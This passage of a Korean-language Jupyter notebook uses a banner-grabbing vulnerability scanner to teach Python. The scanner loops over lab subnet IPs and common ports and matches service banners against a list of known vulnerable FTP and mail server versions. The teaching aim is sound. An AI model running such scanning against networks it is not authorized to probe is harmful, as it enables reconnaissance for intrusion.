     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile main_test2.py\n",
      "\n",
      "def main():\n",
      "    print 'echo: __name__ is', __name__\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Writing main_test2.py\n"
       ]
      }
     ],
     "prompt_number": 242
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import main_test"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 249
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "reload(main_test)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "echo: __name__ is main_test\n"
       ]
      },
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 246,
       "text": [
        "<module 'main_test' from 'main_test.pyc'>"
       ]
      }
     ],
     "prompt_number": 246
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "reload(main_test2)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 247,
       "text": [
        "<module 'main_test2' from 'main_test2.pyc'>"
       ]
      }
     ],
     "prompt_number": 247
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/main_test.py"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "echo: __name__ is __main__\r\n"
       ]
      }
     ],
     "prompt_number": 236
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/main_test2.py"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "echo: __name__ is __main__\r\n"
       ]
      }
     ],
     "prompt_number": 250
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# !ls"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 138
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# !ls ch01"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 139
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### checkVulns()\n",
      "\n",
      "- \ubc30\ub108\ub97c \ubc18\ud658\ud55c \ud6c4\uc5d0\ub294 \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\uc11c \uc774 \ubc30\ub108\uac00 \uc774\ubbf8 \uc54c\ub824\uc9c4 \ucde8\uc57d\ud55c \ud504\ub85c\uadf8\ub7a8\uacfc \uc77c\uce58\ud558\ub294\uc9c0 \ud655\uc778\ud574\uc57c \ud568\n",
      "- \uc774 \ubd80\ubd84 \ub610\ud55c \ud558\ub098\uc758 \uad00\ub828\ub41c \uae30\ub2a5\n",
      "- \uc989, \ud568\uc218\ub85c \ud45c\ud604\ud560 \uc218 \uc788\ub2e4\ub294 \uc758\ubbf8\n",
      "- checkVulns()\ub77c\ub294 \ud568\uc218\ub294 \ubc30\ub108\ub97c \uc778\uc790\uac12\uc73c\ub85c \uc785\ub825 \ubc1b\uace0 \uc774\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc11c\ubc84\uc758 \ucde8\uc57d\uc131 \ud310\ub2e8"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# FTP \uc11c\ubc84\uc5d0 \uc5f0\uacb0\ud558\uc5ec \ubc30\ub108\ub97c \ubc18\ud658\ud558\ub294 \ud568\uc218\n",
      "# \uc5ec\uae30\uc5d0\uc11c\ub3c4 \ubb54\uac00 \ubc18\ubcf5\ub418\ub294\uac8c feel \uc774 \uc640\uc57c\ub41c\ub2e4..\n",
      "\n",
      "import socket\n",
      "\n",
      "def retBanner(ip, port):\n",
      "    try:\n",
      "        socket.setdefaulttimeout(2)\n",
      "        s = socket.socket()\n",
      "        s.connect((ip, port))\n",
      "        banner = s.recv(1024)\n",
      "        return banner\n",
      "    except:\n",
      "        return\n",
      "\n",
      "def checkVulns(banner):\n",
      "    if ('FreeFloat Ftp Server (Version 1.00)' in banner):\n",
      "        print '[+] FreeFloat FTP Server is vulnerable.'\n",
      "    elif ('3Com 3CDaemon FTP Server Version 2.0' in banner):\n",
      "        print '[+] 3CDaemon FTP Server is vulnerable.'\n",
      "    elif ('Ability Server 2.34' in banner):\n",
      "        print '[+] Ability FTP Server is vulnerable.'\n",
      "    elif ('Sami FTP Server 2.0.2' in banner):\n",
      "        print '+] Sami FTP Server is vulnerable.'\n",
      "    else:\n",
      "        print '[-] FTP Server is not vulnerable.'\n",
      "    return\n",
      "\n",
      "def main():\n",
      "    ip1 = '192.168.32.159'\n",
      "    ip2 = '172.16.190.129'\n",
      "    ip3 = '172.16.190.130'\n",
      "    port = 21\n",
      "    \n",
      "    banner1 = retBanner(ip1, port)\n",
      "    if banner1:\n",
      "        print '[+] ' + ip1 + ': ' + banner1\n",
      "        checkVulns(banner1)\n",
      "    \n",
      "    banner2 = retBanner(ip2, port)\n",
      "    if banner2:\n",
      "        print '[+] ' + ip2 + ': ' + banner2\n",
      "        checkVulns(banner2)\n",
      "    \n",
      "    banner3 = retBanner(ip3, port)\n",
      "    if banner3:\n",
      "        print '[+] ' + ip3 + ': ' + banner3\n",
      "        checkVulns(banner3)\n",
      "\n",
      "    \n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] 192.168.32.159: 220 FreeFloat Ftp Server (Version 1.00)\r\n",
        "\n",
        "[+] FreeFloat FTP Server is vulnerable.\n"
       ]
      }
     ],
     "prompt_number": 140
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \ubc18\ubcf5\ubb38\n",
      "\n",
      "- \uc55e \uc139\uc158\uc5d0\uc11c 3\uac1c\uc758 IP \uc8fc\uc18c\ub97c \ud655\uc778\ud558\uae30 \uc704\ud574 \ub3d9\uc77c\ud55c \ucf54\ub4dc\ub97c 3\ubc88\uc774\ub098 \ubc18\ubcf5\ud574 \uc801\uc5c8\uc73c\uba70, \uc774\uac83\uc740 \ub9e4\uc6b0 \ube44\ud6a8\uc728\n",
      "- for\ubb38 \ubc18\ubcf5\ubb38 \uc0ac\uc6a9\ud558\ub294\uac8c \ud6a8\uc728\uc801"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# range \ud568\uc218\ub294 \ucc98\uc74c \uac12\uc778 1\uc740 \ud3ec\ud568\ud558\uc9c0\ub9cc \ub9c8\uc9c0\ub9c9 \uac12\uc778 255\ub294 \ud3ec\ud568\ud558\uc9c0 \uc54a\ub294\ub2e4.\n",
      "# 1 <= x < 255 \ub77c\uace0 \ubcfc \uc218 \uc788\ub2e4.\n",
      "# 1 <= x <= 254\n",
      "for x in range(1, 255):\n",
      "    print '192.168.32.' + str(x)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "192.168.32.1\n",
        "192.168.32.2\n",
        "192.168.32.3\n",
        "192.168.32.4\n",
        "192.168.32.5\n",
        "192.168.32.6\n",
        "192.168.32.7\n",
        "192.168.32.8\n",
        "192.168.32.9\n",
        "192.168.32.10\n",
        "192.168.32.11\n",
        "192.168.32.12\n",
        "192.168.32.13\n",
        "192.168.32.14\n",
        "192.168.32.15\n",
        "192.168.32.16\n",
        "192.168.32.17\n",
        "192.168.32.18\n",
        "192.168.32.19\n",
        "192.168.32.20\n",
        "192.168.32.21\n",
        "192.168.32.22\n",
        "192.168.32.23\n",
        "192.168.32.24\n",
        "192.168.32.25\n",
        "192.168.32.26\n",
        "192.168.32.27\n",
        "192.168.32.28\n",
        "192.168.32.29\n",
        "192.168.32.30\n",
        "192.168.32.31\n",
        "192.168.32.32\n",
        "192.168.32.33\n",
        "192.168.32.34\n",
        "192.168.32.35\n",
        "192.168.32.36\n",
        "192.168.32.37\n",
        "192.168.32.38\n",
        "192.168.32.39\n",
        "192.168.32.40\n",
        "192.168.32.41\n",
        "192.168.32.42\n",
        "192.168.32.43\n",
        "192.168.32.44\n",
        "192.168.32.45\n",
        "192.168.32.46\n",
        "192.168.32.47\n",
        "192.168.32.48\n",
        "192.168.32.49\n",
        "192.168.32.50\n",
        "192.168.32.51\n",
        "192.168.32.52\n",
        "192.168.32.53\n",
        "192.168.32.54\n",
        "192.168.32.55\n",
        "192.168.32.56\n",
        "192.168.32.57\n",
        "192.168.32.58\n",
        "192.168.32.59\n",
        "192.168.32.60\n",
        "192.168.32.61\n",
        "192.168.32.62\n",
        "192.168.32.63\n",
        "192.168.32.64\n",
        "192.168.32.65\n",
        "192.168.32.66\n",
        "192.168.32.67\n",
        "192.168.32.68\n",
        "192.168.32.69\n",
        "192.168.32.70\n",
        "192.168.32.71\n",
        "192.168.32.72\n",
        "192.168.32.73\n",
        "192.168.32.74\n",
        "192.168.32.75\n",
        "192.168.32.76\n",
        "192.168.32.77\n",
        "192.168.32.78\n",
        "192.168.32.79\n",
        "192.168.32.80\n",
        "192.168.32.81\n",
        "192.168.32.82\n",
        "192.168.32.83\n",
        "192.168.32.84\n",
        "192.168.32.85\n",
        "192.168.32.86\n",
        "192.168.32.87\n",
        "192.168.32.88\n",
        "192.168.32.89\n",
        "192.168.32.90\n",
        "192.168.32.91\n",
        "192.168.32.92\n",
        "192.168.32.93\n",
        "192.168.32.94\n",
        "192.168.32.95\n",
        "192.168.32.96\n",
        "192.168.32.97\n",
        "192.168.32.98\n",
        "192.168.32.99\n",
        "192.168.32.100\n",
        "192.168.32.101\n",
        "192.168.32.102\n",
        "192.168.32.103\n",
        "192.168.32.104\n",
        "192.168.32.105\n",
        "192.168.32.106\n",
        "192.168.32.107\n",
        "192.168.32.108\n",
        "192.168.32.109\n",
        "192.168.32.110\n",
        "192.168.32.111\n",
        "192.168.32.112\n",
        "192.168.32.113\n",
        "192.168.32.114\n",
        "192.168.32.115\n",
        "192.168.32.116\n",
        "192.168.32.117\n",
        "192.168.32.118\n",
        "192.168.32.119\n",
        "192.168.32.120\n",
        "192.168.32.121\n",
        "192.168.32.122\n",
        "192.168.32.123\n",
        "192.168.32.124\n",
        "192.168.32.125\n",
        "192.168.32.126\n",
        "192.168.32.127\n",
        "192.168.32.128\n",
        "192.168.32.129\n",
        "192.168.32.130\n",
        "192.168.32.131\n",
        "192.168.32.132\n",
        "192.168.32.133\n",
        "192.168.32.134\n",
        "192.168.32.135\n",
        "192.168.32.136\n",
        "192.168.32.137\n",
        "192.168.32.138\n",
        "192.168.32.139\n",
        "192.168.32.140\n",
        "192.168.32.141\n",
        "192.168.32.142\n",
        "192.168.32.143\n",
        "192.168.32.144\n",
        "192.168.32.145\n",
        "192.168.32.146\n",
        "192.168.32.147\n",
        "192.168.32.148\n",
        "192.168.32.149\n",
        "192.168.32.150\n",
        "192.168.32.151\n",
        "192.168.32.152\n",
        "192.168.32.153\n",
        "192.168.32.154\n",
        "192.168.32.155\n",
        "192.168.32.156\n",
        "192.168.32.157\n",
        "192.168.32.158\n",
        "192.168.32.159\n",
        "192.168.32.160\n",
        "192.168.32.161\n",
        "192.168.32.162\n",
        "192.168.32.163\n",
        "192.168.32.164\n",
        "192.168.32.165\n",
        "192.168.32.166\n",
        "192.168.32.167\n",
        "192.168.32.168\n",
        "192.168.32.169\n",
        "192.168.32.170\n",
        "192.168.32.171\n",
        "192.168.32.172\n",
        "192.168.32.173\n",
        "192.168.32.174\n",
        "192.168.32.175\n",
        "192.168.32.176\n",
        "192.168.32.177\n",
        "192.168.32.178\n",
        "192.168.32.179\n",
        "192.168.32.180\n",
        "192.168.32.181\n",
        "192.168.32.182\n",
        "192.168.32.183\n",
        "192.168.32.184\n",
        "192.168.32.185\n",
        "192.168.32.186\n",
        "192.168.32.187\n",
        "192.168.32.188\n",
        "192.168.32.189\n",
        "192.168.32.190\n",
        "192.168.32.191\n",
        "192.168.32.192\n",
        "192.168.32.193\n",
        "192.168.32.194\n",
        "192.168.32.195\n",
        "192.168.32.196\n",
        "192.168.32.197\n",
        "192.168.32.198\n",
        "192.168.32.199\n",
        "192.168.32.200\n",
        "192.168.32.201\n",
        "192.168.32.202\n",
        "192.168.32.203\n",
        "192.168.32.204\n",
        "192.168.32.205\n",
        "192.168.32.206\n",
        "192.168.32.207\n",
        "192.168.32.208\n",
        "192.168.32.209\n",
        "192.168.32.210\n",
        "192.168.32.211\n",
        "192.168.32.212\n",
        "192.168.32.213\n",
        "192.168.32.214\n",
        "192.168.32.215\n",
        "192.168.32.216\n",
        "192.168.32.217\n",
        "192.168.32.218\n",
        "192.168.32.219\n",
        "192.168.32.220\n",
        "192.168.32.221\n",
        "192.168.32.222\n",
        "192.168.32.223\n",
        "192.168.32.224\n",
        "192.168.32.225\n",
        "192.168.32.226\n",
        "192.168.32.227\n",
        "192.168.32.228\n",
        "192.168.32.229\n",
        "192.168.32.230\n",
        "192.168.32.231\n",
        "192.168.32.232\n",
        "192.168.32.233\n",
        "192.168.32.234\n",
        "192.168.32.235\n",
        "192.168.32.236\n",
        "192.168.32.237\n",
        "192.168.32.238\n",
        "192.168.32.239\n",
        "192.168.32.240\n",
        "192.168.32.241\n",
        "192.168.32.242\n",
        "192.168.32.243\n",
        "192.168.32.244\n",
        "192.168.32.245\n",
        "192.168.32.246\n",
        "192.168.32.247\n",
        "192.168.32.248\n",
        "192.168.32.249\n",
        "192.168.32.250\n",
        "192.168.32.251\n",
        "192.168.32.252\n",
        "192.168.32.253\n",
        "192.168.32.254\n"
       ]
      }
     ],
     "prompt_number": 141
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "#### Quiz!\n",
      "\n",
      "- \uc65c 0\uacfc 255\uac00 \ube60\uc9c8\uae4c?\n",
      "- \uadf8 \uc804\uc5d0 \uc65c 0~255\uae4c\uc9c0\uac00 IP \ubc94\uc704\uac00 \ub41c \uac83\uc77c\uae4c?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### [IP\uc8fc\uc18c](http://www.hardnara.com/kimsnetwork/print.php?no=426): \uc774\ubbf8\uc9c0\ub85c \uc27d\uac8c \ud45c\ud604\n",
      "\n",
      "<img src=\"files/images/ip.jpg\" />"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "2**8"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 142,
       "text": [
        "256"
       ]
      }
     ],
     "prompt_number": 142
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- 172.16.190.0/24: \uc608\uc57d: -> 172.16.190.0 ~ 172.16.190.255\n",
      "- 172.16.190.255: \uc608\uc57d"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uc774\uc640 \uc720\uc0ac\ud558\uac8c, \uc6b0\ub9ac\ub294 \ucde8\uc57d\uc810\uc744 \ud655\uc778\ud558\uae30 \uc704\ud574 \uc774\ubbf8 \uc54c\ub824\uc838 \uc788\ub294 \ud3ec\ud2b8\uc758 \ubaa9\ub85d\uc744 \ubcf4\uace0 \uc2f6\uc744 \uc218\ub3c4 \uc788\ub2e4.\n",
      "- \ud2b9\uc815 \uc22b\uc790 \ubc94\uc704\ub97c \ubc18\ubcf5\ud558\uac8c \ub9cc\ub4dc\ub294 \ub300\uc2e0\uc5d0 \uc694\uc18c \uc804\ubd80\ub97c \ubc18\ubcf5\ud558\uac8c \ud560 \uc218 \uc788\uc74c"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList = [21, 22, 25, 80, 110]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [],
     "prompt_number": 143
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "for port in portList:\n",
      "    print port"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "21\n",
        "22\n",
        "25\n",
        "80\n",
        "110\n"
       ]
      }
     ],
     "prompt_number": 144
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### ip, port \uac00 \ub2f4\uae34 2\uac1c\uc758 for\ubb38\uc744 \uc774\uc6a9\ud558\uba74 \ubaa8\ub4e0 \ub124\ud2b8\uc6cc\ud06c\ub97c \uc2a4\uce94\ud560 \uc218 \uc788\ub2e4!"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "for x in range(1, 255):\n",
      "    for port in portList:\n",
      "        print '[+] Checking 192.168.32.' + str(x) + ': ' + str(port)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Checking 192.168.32.1: 21\n",
        "[+] Checking 192.168.32.1: 22\n",
        "[+] Checking 192.168.32.1: 25\n",
        "[+] Checking 192.168.32.1: 80\n",
        "[+] Checking 192.168.32.1: 110\n",
        "[+] Checking 192.168.32.2: 21\n",
        "[+] Checking 192.168.32.2: 22\n",
        "[+] Checking 192.168.32.2: 25\n",
        "[+] Checking 192.168.32.2: 80\n",
        "[+] Checking 192.168.32.2: 110\n",
        "[+] Checking 192.168.32.3: 21\n",
        "[+] Checking 192.168.32.3: 22\n",
        "[+] Checking 192.168.32.3: 25\n",
        "[+] Checking 192.168.32.3: 80\n",
        "[+] Checking 192.168.32.3: 110\n",
        "[+] Checking 192.168.32.4: 21\n",
        "[+] Checking 192.168.32.4: 22\n",
        "[+] Checking 192.168.32.4: 25\n",
        "[+] Checking 192.168.32.4: 80\n",
        "[+] Checking 192.168.32.4: 110\n",
        "[+] Checking 192.168.32.5: 21\n",
        "[+] Checking 192.168.32.5: 22\n",
        "[+] Checking 192.168.32.5: 25\n",
        "[+] Checking 192.168.32.5: 80\n",
        "[+] Checking 192.168.32.5: 110\n",
        "[+] Checking 192.168.32.6: 21\n",
        "[+] Checking 192.168.32.6: 22\n",
        "[+] Checking 192.168.32.6: 25\n",
        "[+] Checking 192.168.32.6: 80\n",
        "[+] Checking 192.168.32.6: 110\n",
        "[+] Checking 192.168.32.7: 21\n",
        "[+] Checking 192.168.32.7: 22\n",
        "[+] Checking 192.168.32.7: 25\n",
        "[+] Checking 192.168.32.7: 80\n",
        "[+] Checking 192.168.32.7: 110\n",
        "[+] Checking 192.168.32.8: 21\n",
        "[+] Checking 192.168.32.8: 22\n",
        "[+] Checking 192.168.32.8: 25\n",
        "[+] Checking 192.168.32.8: 80\n",
        "[+] Checking 192.168.32.8: 110\n",
        "[+] Checking 192.168.32.9: 21\n",
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        "[+] Checking 192.168.32.253: 21\n",
        "[+] Checking 192.168.32.253: 22\n",
        "[+] Checking 192.168.32.253: 25\n",
        "[+] Checking 192.168.32.253: 80\n",
        "[+] Checking 192.168.32.253: 110\n",
        "[+] Checking 192.168.32.254: 21\n",
        "[+] Checking 192.168.32.254: 22\n",
        "[+] Checking 192.168.32.254: 25\n",
        "[+] Checking 192.168.32.254: 80\n",
        "[+] Checking 192.168.32.254: 110\n"
       ]
      }
     ],
     "prompt_number": 145
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "#### Quiz!\n",
      "\n",
      "- \uc5ec\uae30\uc5d0\uc11c for\ubb38\uc740 \uba87 \ubc88\uc744 \ub3cc\uae4c\uc694?"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# 254                * 5\n",
      "len( range(1, 255) ) * len( portList )"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 259,
       "text": [
        "1270"
       ]
      }
     ],
     "prompt_number": 259
    },
    {
     "cell_type": "code",
     "collapsed": true,
     "input": [
      "cnt = 0\n",
      "for x in range(1, 255):\n",
      "    for port in portList:\n",
      "        if not x in [1]:\n",
      "        #print '[+] Checking 172.16.190.' + str(x) + ': ' + str(port)\n",
      "            cnt += 1\n",
      "print cnt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "1265\n"
       ]
      }
     ],
     "prompt_number": 263
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/1_vulscanner_structure.png\" />"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# 172.16.190.0/24 \uc11c\ube0c\ub137\uc5d0 \uc788\ub294 \ubaa8\ub4e0 255 \uc8fc\uc18c\ub97c \uc810\uac80\n",
      "# \uc11c\ube44\uc2a4\ub294 telnet, SSH, smtp, http, imap, https \uc810\uac80\n",
      "\n",
      "import socket\n",
      "\n",
      "def retBanner(ip, port):\n",
      "    '''\uc11c\ubc84\uc5d0 \uc5f0\uacb0\ud574 \ubc30\ub108\uac12\uc744 \ub3cc\ub824 \ubc1b\ub294\ub2e4.'''\n",
      "    try:\n",
      "        socket.setdefaulttimeout(2)\n",
      "        s = socket.socket()\n",
      "        s.connect((ip, port))\n",
      "        banner = s.recv(1024)\n",
      "        return banner\n",
      "    except:\n",
      "        return\n",
      "\n",
      "def checkVulns(banner):\n",
      "    '''\ubc1b\uc740 \ubc30\ub108\uac12\uc73c\ub85c \ucde8\uc57d\ud55c \ubc84\uc804\uc778\uc9c0 \ud655\uc778\ud55c\ub2e4.'''\n",
      "    if ('FreeFloat Ftp Server (Version 1.00)' in banner):\n",
      "        print '[+] FreeFloat FTP Server is vulnerable.'\n",
      "    elif ('3Com 3CDaemon FTP Server Version 2.0' in banner):\n",
      "        print '[+] 3CDaemon FTP Server is vulnerable.'\n",
      "    elif ('Ability Server 2.34' in banner):\n",
      "        print '[+] Ability FTP Server is vulnerable.'\n",
      "    elif ('Sami FTP Server 2.0.2' in banner):\n",
      "        print '+] Sami FTP Server is vulnerable.'\n",
      "    else:\n",
      "        print '[-] FTP Server is not vulnerable.'\n",
      "    return\n",
      "\n",
      "# main\uc5d0\uc11c ip, port \uc9c0\uc815\ud558\uc5ec \n",
      "def main():\n",
      "    '''\uc774\uc911 for\ubb38\uc73c\ub85c ip\uc640 port\ub97c \uc9c0\uc815\ud558\uc5ec retBanner \uc2e4\ud589\ud558\uace0\n",
      "        retBanner \uc788\uc73c\uba74 checkVulns \uc2e4\ud589'''\n",
      "    portList = [21, 22, 25, 80, 110, 443]\n",
      "#     for x in range(1, 255):\n",
      "    for x in range(159, 160):\n",
      "        ip = '192.168.32.' + str(x)\n",
      "        for port in portList:\n",
      "            banner = retBanner(ip, port)\n",
      "            if banner:\n",
      "                print '[+] ' + ip + ': ' + banner\n",
      "                checkVulns(banner)\n",
      "    \n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] 192.168.32.159: 220 FreeFloat Ftp Server (Version 1.00)\r\n",
        "\n",
        "[+] FreeFloat FTP Server is vulnerable.\n"
       ]
      }
     ],
     "prompt_number": 147
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \uc0dd\uac01\ud574 \ubcf4\ub294 \uc2dc\uac04\n",
      "\n",
      "checkVulns() \ud568\uc218\uc5d0 \ud56d\uc0c1 if, elif\ub85c \ucde8\uc57d\ud55c \ubc84\uc804\uc744 \ub123\uc5b4\uc57c \ud558\ub098?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "\uadc0\ucc2e\uc544..."
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "\uc880 \ub354 \uac04\ub2e8\ud788 \ud560 \uc218 \uc788\ub294 \ubc29\ubc95\uc740 \uc5c6\uc744\uae4c?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "\ub098\ub294 \ucde8\uc57d\ud55c \ubc84\uc804 \uc774\ub984\ub9cc \ucd94\uac00\ud558\uace0 \ud504\ub85c\uadf8\ub7a8\uc774 \uc54c\uc544\uc11c \ube44\uad50\ud574\uc8fc\ub294..?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "\uc880 \ub354 \uc9c4\ud589\ud558\uc790\uba74 \ucde8\uc57d\ud55c \ubc84\uc804\ub3c4 \uc54c\uc544\uc11c \ucd94\uac00 \uc2dc\ucf1c\uc8fc\ub294..?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \ud30c\uc77c I/O\n",
      "\n",
      "- \uc55e\uc758 \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\uc11c\ub294 if\ubb38\uc744 \uc0ac\uc6a9\ud558\uc5ec \ud2b9\uc815 \ubc30\ub108\uac00 \ucde8\uc57d\ud55c\uc9c0 \ud655\uc778\ud558\uc9c0\ub9cc, \ub098\uc911\uc5d0 \uc0c8\ub85c\uc6b4 \ucde8\uc57d\ud55c \ubc30\ub108 \ubaa9\ub85d\uc744 \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\uc11c \ud655\uc778\ud560 \uc218 \uc788\ub3c4\ub85d \ucd94\uac00\ud560 \uc218 \uc788\uc73c\uba74 \ub354\uc6b1 \uc720\uc6a9\n",
      "- \uc774 \uae30\ub2a5\uc744 \uad6c\ud604\ud558\uae30 \uc704\ud574 vuln_banner.txt \ub77c\ub294 \ud14d\uc2a4\ud2b8 \ud30c\uc77c\uc774 \uc788\ub2e4\uace0 \uac00\uc815\n",
      "- \uc774 \ud30c\uc77c\uc758 \uac01 \ub77c\uc778\uc5d0\ub294 \uc54c\ub824\uc9c4 \ucde8\uc57d\uc810\uacfc \ud568\uaed8 \ud2b9\uc815 \uc11c\ube44\uc2a4 \ubc84\uc804\uc774 \uc5f4\uac70\ub418\uc5b4\uc788\ub2e4\uace0 \uac00\uc815\n",
      "- **\uac70\ub300\ud55c if\ubb38 vs txt \ud30c\uc77c \uac01 \ub77c\uc778\ub2e8\uc704\ub85c \uc77d\uae30**"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \uac70\ub300\ud55c if\ubb38\n",
      "\n",
      "    def checkVulns(banner):\n",
      "        '''\ubc1b\uc740 \ubc30\ub108\uac12\uc73c\ub85c \ucde8\uc57d\ud55c \ubc84\uc804\uc778\uc9c0 \ud655\uc778\ud55c\ub2e4.'''\n",
      "        if ('FreeFloat Ftp Server (Version 1.00)' in banner):\n",
      "            print '[+] FreeFloat FTP Server is vulnerable.'\n",
      "        elif ('3Com 3CDaemon FTP Server Version 2.0' in banner):\n",
      "            print '[+] 3CDaemon FTP Server is vulnerable.'\n",
      "        elif ('Ability Server 2.34' in banner):\n",
      "            print '[+] Ability FTP Server is vulnerable.'\n",
      "        elif ('Sami FTP Server 2.0.2' in banner):\n",
      "            print '+] Sami FTP Server is vulnerable.'\n",
      "        else:\n",
      "            print '[-] FTP Server is not vulnerable.'\n",
      "        return"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \ucde8\uc57d\ud55c \ubc84\uc804 \ub9ac\uc2a4\ud2b8"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/vuln_banners.txt\n",
      "3Com 3CDaemon FTP Server Version 2.0\n",
      "Ability Server 2.34\n",
      "CCProxy Telnet Service Ready\n",
      "ESMTP TABS Mail Server for Windows NT\n",
      "FreeFloat Ftp Server (Version 1.00)\n",
      "IMAP4rev1 MDaemon 9.6.4 ready\n",
      "MailEnable Service, Version: 0-1.54\n",
      "NetDecision-HTTP-Server 1.0\n",
      "PSO Proxy 0.9\n",
      "SAMBAR\n",
      "Sami FTP Server 2.0.2\n",
      "Spipe 1.0\n",
      "TelSrv 1.5\n",
      "WDaemon 6.8.5\n",
      "WinGate 6.1.1\n",
      "Xitami\n",
